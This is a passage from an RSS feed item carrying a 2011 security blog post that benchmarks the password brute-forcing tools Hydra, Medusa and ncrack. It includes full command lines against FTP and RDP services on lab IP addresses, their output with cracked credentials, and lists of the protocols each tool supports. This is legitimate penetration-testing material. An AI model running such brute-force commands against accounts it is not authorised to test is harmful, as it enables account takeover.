Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 13:09:56</p></blockquote>
<p>Oops. Thats not so good.</p>
<p>Now for Medusa.</p>
<blockquote><p>~$ medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net></p>
<p>ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)<br />
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: password (2 of 500 complete)<br />
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 12345678 (3 of 500 complete)<br />
ERROR: [ftp.mod] failed: medusaReceive returned no data. Server may have dropped connection due to lack of encryption. Enabling the EXPLICIT mode may help.<br />
CRITICAL: Unknown ftp.mod module state -1</p></blockquote>
<p>Hmmm, struggling too.</p>
<p>Lets go back and check again with ncrack to ensure the service is still ok.</p>
<blockquote><p>~$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:14 EST</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 62.99 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p><b>ncrack for the win!</b></p>
<p>ncrack has the ability to also brute force RDP accounts. So lets hit a windows box.</p>
<blockquote><p>$ ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:26 EST<br />
Stats: 0:02:18 elapsed; 0 services completed (1 total)<br />
Rate: 0.02; Found: 0; About 3.40% done; ETC: 14:33 (1:05:21 remaining)<br />
Stats: 0:15:07 elapsed; 0 services completed (1 total)<br />
Rate: 0.20; Found: 0; About 13.80% done; ETC: 15:15 (1:34:25 remaining)<br />
Stats: 0:22:19 elapsed; 0 services completed (1 total)<br />
Rate: 0.02; Found: 0; About 19.40% done; ETC: 15:21 (1:32:43 remaining)<br />
Stats: 0:24:46 elapsed; 0 services completed (1 total)</p>
<p>Discovered credentials for rdp on 10.212.50.21 3389/tcp:<br />
10.212.50.21 3389/tcp rdp: &#8216;administrator&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 6072 seconds.</p></blockquote>
<p>Protocols supported include:</p>
<blockquote><p>Hydra &#8211; TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA</p>
<p>Medusa &#8211;  AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper,<br />
Web Form</p>
<p>Ncrack &#8211; RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet</p></blockquote>
<p>There is much more that could be tested for a more comprehensive review. Other protocols, different targets, latency and Further tweaking of the scan speeds and threads.</p>
<p>While ncrack has limited protocol support compared to Hydra and Medusa the only conclusion for this little test; when it comes to speed, reliability and the ability to hit RDP services <b>ncrack wins!!</b></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/' addthis:title='Brute Forcing Passwords with ncrack, hydra and medusa '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

